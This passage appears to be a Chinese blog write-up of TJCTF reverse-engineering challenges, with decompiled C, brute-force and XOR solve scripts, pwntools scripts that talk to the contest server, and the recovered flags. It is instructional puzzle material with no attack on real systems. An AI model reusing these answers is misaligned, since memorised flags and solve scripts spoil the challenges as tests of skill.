  unsigned __int64 v8; // [rsp+58h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  printf("Enter text: ");
  fgets(s, 32, _bss_start);
  s[strlen(s) - 1] = 0;
  strcpy(dest, s);
  v5 = strlen(s);
  for ( i = 0; i < v5; ++i )
  {
    if ( s[i] <= 96 || s[i] > 122 )
    {
      if ( s[i] <= 64 || s[i] > 90 )
      {
        if ( s[i] <= 47 || s[i] > 52 )
        {
          if ( s[i] <= 52 || s[i] > 57 )
          {
            if ( s[i] != 123 && s[i] != 125 )
            {
              puts("wtmoo is this guess???");
              printf("%c\n", (unsigned int)s[i]);
              return 1;
            }
          }
          else
          {
            s[i] -= 21;
          }
        }
        else
        {
          s[i] += 43;
        }
      }
      else
      {
        s[i] += 32;
      }
    }
    else
    {
      s[i] -= 60;
    }
  }
  if ( !strcmp(s, flag) )
    printf(cow, dest);
  else
    printf(cow, s);
  return 0;
}

没想到好办法逆回,采用直接爆破法

c = b"8.'8*{;8m33[o[3[3[%\")#*\}"
m = ''
for i in range(len(c)):
    for k in range(0x20, 0x7f):
        j = k 
        if j>=97 and j<=122:
            j-=60 
        elif j>=65 and j<=90:
            j+=32 
        elif j>=48 and j<=52:
            j+=43 
        elif j>=53 and j<=57:
            j-=21 
        elif j==123 or j==125:
            pass 
        else:
            continue 
        if j==c[i]:
            m += chr(k)
            print(m)
            break

maybe

这种题第一次见。把一个python代码去空格(python的软肋,特别特别软的软)顺序打乱。这回是真逆向。

#first 3 lines are given
import random
seed = 1000
random.seed(seed)

#unscramble the rest
def recur(lst):
l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
l2[i] += inp[i]
flag = ""
flag+=chr((l4[i]^l3[i]))
return flag
l.append(random.randint(6, 420))
l3[0] = l2[0]%mod
for i in range(1, n):
def decrypt(inp):
for i in range(n):
assert(len(l)==n)
return lst[0]
l = []
main()
def main():
l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]
l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod
if(len(lst)==1):
assert(lst[0]>0)
for i in range(1, n):
for i in range(n):
return recur(lst[::2])/recur(lst[1::2])
print("flag is:", decrypt(inp))
l2[0] +=int(recur(l2[1:])*50)
l2 = [0]*n
flag_length = 31
mod = 256
print(l2)
n = len(inp)
inp = [1]*flag_length
l3 =[0]*n

不过有些东西还是容易看的,函数定义啥的都各开一断,然后一行行往里切。对了运行一下就行了。

#first 3 lines are given
import random
seed = 1000
random.seed(seed)

#unscramble the rest
def recur(lst):
    assert(lst[0]>0)
    if(len(lst)==1):
        return lst[0]
        
    return recur(lst[::2])/recur(lst[1::2])

mod = 256
flag_length = 31
inp = [1]*flag_length
n = len(inp)

#1 init l
l = [404, 225, 348, 395, 56, 207, 186, 38, 245, 90, 279, 229, 72, 119, 349, 129, 192, 353, 256, 109, 354, 347, 193, 122, 414, 240, 99, 26, 353, 389, 255]
l2 = [0]*n
l3 =[0]*n
l4 = [70, 123, 100, 53, 123, 58, 105, 109, 2, 108, 116, 21, 67, 69, 238, 47, 102, 110, 114, 84, 83, 68, 113, 72, 112, 54, 121, 104, 103, 41, 124]

for i in range(1, n):
    l2[i] = (l[i]*5+(l2[i]+n)*l[i])%l[i]
    l2[i] += inp[i]

l2[0] +=int(recur(l2[1:])*50)
print(l2)

l3[0] = l2[0]%mod
for i in range(1, n):
    l3[i] = (l2[i]^((l[i]&l3[i-1]+(l3[i-1]*l[i])%mod)//2))%mod

def decrypt(inp):
    flag = ""
    for i in range(n):
        flag+=chr((l4[i]^l3[i]))
    return flag


def main():
    print("flag is:", decrypt(inp))

main()

maybe

这个加密比较简单,用已经部分异或

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int i; // [rsp+Ch] [rbp-64h]
  char s[72]; // [rsp+10h] [rbp-60h] BYREF
  unsigned __int64 v6; // [rsp+58h] [rbp-18h]

  v6 = __readfsqword(0x28u);
  puts("Enter your flag");
  fgets(s, 64, _bss_start);
  if ( strlen(s) == 33 )
  {
    for ( i = 4; i < strlen(s) - 1; ++i )
    {
      if ( ((unsigned __int8)s[i - 4] ^ (unsigned __int8)s[i]) != flag[i - 4] )
      {
        puts("you're def wrong smh");
        return 1;
      }
    }
    puts("you might be right??? you might be wrong.... who knows?");
    return 0;
  }
  else
  {
    puts("bad");
    return 1;
  }
}

由于flag壳是已知的,直接计算即可


flag = bytes.fromhex('121100150b483c120c44001051192e16031c42110a4a72560d7a744f00')

m = list(b'tjct')
for i in range(len(flag)):
    m.append(m[i]^flag[i])

bytes(m)
#tjctf{cam3_saw_c0nqu3r3d98A24B5}

div3rev

明文分3份分别加密(3份再分3份直到每个只有1个字符)

def op1(b):
    for i in range(len(b)):
        b[i] += 8*(((b[i] % 10)*b[i]+75) & 1)
        cur = 1
        for j in range(420):
            cur *= (b[i]+j) % 420
    return b


def op2(b):
    for i in range(len(b)):
        for j in range(100):
            b[i] = b[i] ^ 69
        b[i] += 12
    return b


def op3(b):
    for i in range(len(b)):
        b[i] = ((b[i] % 2) << 7)+(b[i]//2)
    return b


def recur(b):
    if len(b) == 1:
        return b
    assert len(b) % 3 == 0
    a = len(b)
    return op1(recur(b[0:a//3]))+op2(recur(b[a//3:2*a//3]))+op3(recur(b[2*a//3:]))


flag = open("flag.txt", "r").read()
flag = flag[:-1]
b = bytearray()
b.extend(map(ord, flag))
res = recur(b)
if res == b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf':
    print("correct")
else:
    print("oopsies")

直接逆很麻烦,因为27个字符的顺序处理正好相反,采用爆破法,每个字符的对应位置和加密算法是不变的。可以爆破

enc = list(b'\x8c\x86\xb1\x90\x86\xc9=\xbe\x9b\x80\x87\xca\x86\x8dKJ\xc4e?\xbc\xdbC\xbe!Y \xaf')
flag = [0]*27
for i in range(27):
    for j in range(0x20,0x7f):
        flag[i] = j 
        v = recur(flag)
        if v[i] == enc[i]:
            break 

print(bytes(flag))
#tjctf{randomfifteenmorelet}

dream

回答好些问题,然后输入两个数,一看是z3实际上不是

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+0h] [rbp-230h]
  int i; // [rsp+4h] [rbp-22Ch]
  unsigned __int64 v6; // [rsp+8h] [rbp-228h]
  unsigned __int64 v7; // [rsp+10h] [rbp-220h]
  FILE *stream; // [rsp+18h] [rbp-218h]
  char s2[256]; // [rsp+20h] [rbp-210h] BYREF
  char s[264]; // [rsp+120h] [rbp-110h] BYREF
  unsigned __int64 v11; // [rsp+228h] [rbp-8h]

  v11 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  type_text("last night, I had a dream...\ntaylor sw1ft, the dollar store version, appeared!\n");
  prompt((__int64)"what should I do? ", s2, 256);
  if ( strcmp("sing", s2) )
  {
    puts("no, no, that's a bad idea.");
    exit(0);
  }
  prompt((__int64)"that's a great idea!\nI started to sing the following lyrics: ", s2, 256);
  if ( strcmp("maybe I asked for too [many challenges to be written]", s2) )
  {
    puts("no, that's a dumb lyric.");
    exit(0);
  }
  type_text("ok... that's a weird lyric but whatever\n");
  prompt((__int64)"that leads me to ask... how many challenges did you ask for??? ", s2, 256);
  v6 = atol(s2);
  if ( 35 * (((3 * v6) ^ 0xB6D8) % 0x521) % 0x5EB != 1370 )// 3840432396
  {
    type_text("that's a stupid number.\n");
    exit(0);
  }
  prompt((__int64)"ok yeah you're asking too much of everyone; try to lower the number??? ", s2, 256);
  v7 = atol(s2);
  if ( (35 * ((5 * v7 % 0x1E61) | 0x457) - 5) % 0x3E8 != 80 )// 1625900223
  {
    type_text("yeah.");
    exit(0);
  }
  if ( v6 % v7 != 20202020 || v7 * v6 != 0x33D5D816326AADLL )
  {
    type_text("ok but they might think that's too much comparatively, duh.\n");
    exit(0);
  }
  type_text("that's a lot more reasonable - good on you!\n");
  usleep(0x124F8u);
  type_text("ok, now that we've got that out of the way, back to the story...\n");
  type_text("taylor was like, \"wow, you're so cool!\", and I said, \"no, you're so cool!\"\n");
  type_text("after that, we kinda just sat in silence for a little bit. I could kinda tell I was losing her attention, so ");
  v4 = 0;
  for ( i = 0; i <= 11; ++i )
  {
    prompt((__int64)"what should I do next? ", s2, 256);
    if ( !strcmp("ask her about some flags", s2) )
    {
      ++v4;
    }
    else if ( !strcmp("ask her about her new album", s2) )
    {
      v4 *= v4;
    }
    else
    {
      if ( strcmp("ask her about her tour", s2) )
      {
        type_text("no, that's weird\n");
        exit(0);
      }
      v4 += 22;
    }
  }
  if ( v4 != 2351 )
  {
    type_text("taylor died of boredom\n");
    exit(0);
  }
  type_text("taylor got sick and tired of me asking her about various topics, so she finally responded: ");
  stream = fopen("flag.txt", "r");
  if ( !stream )
  {
    type_text("no flag </3\n");
    exit(0);
  }
  fgets(s, 256, stream);
  type_text(s);
  return 0;
}

显然64位的数这种运算z3干不了。

关键是最后的乘法检查,所以先将积分解,爆破因子组合出两个数。

aa = 0x33D5D816326AAD
fac = [3,3,29,37,409,11071,333667]
for i in range(5):
    for j in range(i+1,6):
        for k in range(j+1,7):
            v6 = fac[i]*fac[j]*fac[k]
            v7 = aa//v6 
            if v6%v7 == 20202020:
                print(v6,v7)

v6,v7 =131313131, 111111111

一检查就对,它没用溢出,如果用整型溢出就麻烦点

后边是用12次运算凑数,(+1,+22,平方)手工整一个就行以根号为界两边就几步。

from pwn import *

p = remote('tjc.tf', 31500)
context.log_level = 'debug'

v6,v7 = 131313131, 111111111
p.sendlineafter(b"what should I do? ", b"sing")
p.sendlineafter(b"that's a great idea!\nI started to sing the following lyrics: " ,b"maybe I asked for too [many challenges to be written]")
p.sendlineafter(b"that leads me to ask... how many challenges did you ask for??? ", str(v6).encode())
p.sendlineafter(b"ok yeah you're asking too much of everyone; try to lower the number??? ", str(v7).encode())

#    (1+1+1+1+22+22)**2 +22 +22 +1 +1 +1
a = [1,1,1,1,3,3,2,3,3,1,1,1]
#                ^48**2 
for i in a:
    if i==1:
        p.sendlineafter(b"what should I do next? ", b"ask her about some flags") #++
    elif i==2:
        p.sendlineafter(b"what should I do next? ", b"ask her about her new album") #**2
    else:
        p.sendlineafter(b"what should I do next? ", b"ask her about her tour")  #+22
        
p.recvline()
p.interactive()

# tjctf{5h3_ju5t_w4nt5_t0_st4y_1n_th4t_l4vend3r_h4z3_3a17362a}

save-trees

这个费了一下午的时间睡觉,醒来沉住气,慢慢写。

#!/usr/local/bin/python3.10 -u

import ast
import sys

import select
from Crypto.Util.number import bytes_to_long
import hashlib
import random


def set_globals():
    global edge_lst, cnt, threshold, vals, key, lvs
    edge_lst = []
    cnt, threshold = 0, 128
    vals = [0 for _ in range(threshold*16)]
    randv = random.randint((1 << 15), (1 << 16))
    print("Rand:",hex(randv))
    key = (bytes_to_long(bytes('save thr trees!!', 'utf-8'))
           << 16) + randv
    lvs = []


with open('flag.txt', 'r') as f:
    flag = f.readline()


def ear3mt3sdk(nd):
    global cnt, threshold, edge_lst, lvs, key
    if nd > threshold:
        lvs.append(nd)
        return
    if nd > threshold // 2:
        if random.randint(1, 4) == 1:
            lvs.append(nd)
            return
    edge_lst.append((nd, cnt+1))
    edge_lst.append((nd, cnt+2))
    old_cnt = cnt
    vals[cnt+1] = (vals[nd] >> 16) ^ key
    vals[cnt+2] = (vals[nd] & ((1 << 16) - 1)) ^ key
    cnt += 2
    ear3mt3sdk(old_cnt+1)
    ear3mt3sdk(old_cnt+2)


set_globals()
hsh = int('0x10000000' + str(hashlib.sha256(flag.encode('utf-8')).hexdigest()), 16)
print('hsh:', hex(hsh))
vals[0] = hsh
ear3mt3sdk(0)

print('you have 5s to help treeelon musk save the trees!!')
print(edge_lst)
print([(nd, vals[nd]) for nd in lvs])


def input_with_timeout(prompt, timeout):
    sys.stdout.write(prompt)
    sys.stdout.flush()
    ready, _, _ = select.select([sys.stdin], [], [], timeout)
    if ready:
        return sys.stdin.readline().rstrip('\n')
    raise Exception


try:
    answer = input_with_timeout('', 5)
except:
    print("\nyou let treeelon down :((")
    exit(0)

try:
    answer = ast.literal_eval(answer)
except:
    print("treeelon is very upset")
    exit(0)

if hsh == answer:
    print('good job treeelon is proud of you <3<3')
    print(flag)
else:
    print("treeelon is upset")

按二叉树将hsh切开(右边2字节)分别与key异或后放入左右子树,然后输出树结构和一些随机节点的数据。

这个就是要从后边向前恢复,由于key的后16位未知,又没有时间爆破,所以这里批一个特殊点。

每次后16位会与key加密,而后16位又会是上一步的后16-32位,所以在一个点上,这里是key全部(两字节份)异或的结果,这个点在节点34。

t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')

先第1次用尾号为0的key解一次密,然后找到34,得到完整的key,然后重新解密组合一次。

'''
Rand: 0xf6a2
hsh: 0x10000000e42ee5f2da36700fdbde15a391bc8dd91c8ec0ac3222a60f0c8114d9dbd5220e
'''
from Crypto.Util.number import bytes_to_long,long_to_bytes 
from pwn import *

p = remote('tjc.tf', 31519)
context.log_level = 'debug'
p.recvuntil(b'you have 5s to help treeelon musk save the trees!!\n')

edge_lst = eval(p.recvline())
vals = eval(p.recvline())

key = (bytes_to_long(bytes('save thr trees!!', 'utf-8')) << 16) #+ 0xf6a2 #部分key

n = 237
t_id = [i for i in range(n)]
t_left = [-1]*n
t_right = [-1]*n
t_v = [-1]*n   #当前值

for id,sub in edge_lst:
    if t_left[id] == -1:
        t_left[id] = sub 
    elif t_right[id] == -1:
        t_right[id] = sub 

for id,v in vals:
    t_v[id] = v 

while True:
    for id in range(n):
        if t_v[id] == -1:  #节点未填充
            if t_left[id] != -1 and t_right[id] != -1:  #存在左右子树
                if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1:  #左右子树都有值
                    t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key)  #填充当前树值
    
    if t_v[0] != -1:
        break 

for id,v in enumerate(t_v):
    if v != -1:
        print(id, long_to_bytes(v))

'''
t_v[36][-2:] == xor(key_tail,b'\x10\x00', b'sa', b've',b' t', b'hr', b' t', b're', b'es', b'!!')
key_tail = xor(t_v[36][-2:], b'KA')
'''
print(long_to_bytes(t_v[36]))
key_tail = xor(long_to_bytes(t_v[36])[-2:], b'KA') 
print('Key:', key_tail)

#以正确的尾部重新解码
key = key + bytes_to_long(key_tail)

n = 237
t_id = [i for i in range(n)]
t_left = [-1]*n
t_right = [-1]*n
t_v = [-1]*n   #当前值

for id,sub in edge_lst:
    if t_left[id] == -1:
        t_left[id] = sub 
    elif t_right[id] == -1:
        t_right[id] = sub 

for id,v in vals:
    t_v[id] = v 

while True:
    for id in range(n):
        if t_v[id] == -1:  #节点未填充
            if t_left[id] != -1 and t_right[id] != -1:  #存在左右子树
                if t_v[t_left[id]] != -1 and t_v[t_right[id]]!= -1:  #左右子树都有值
                    t_v[id] = ((t_v[t_left[id]]^key)<<16) + (t_v[t_right[id]]^key)  #填充当前树值
    
    if t_v[0] != -1:
        break 

print(long_to_bytes(t_v[0]).hex())
p.sendline(str(t_v[0]).encode())
p.recvline()
p.recvline()

p.interactive()
#tjctf{tR33s_g1v3_0xYg3ndx0x<3}

 

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值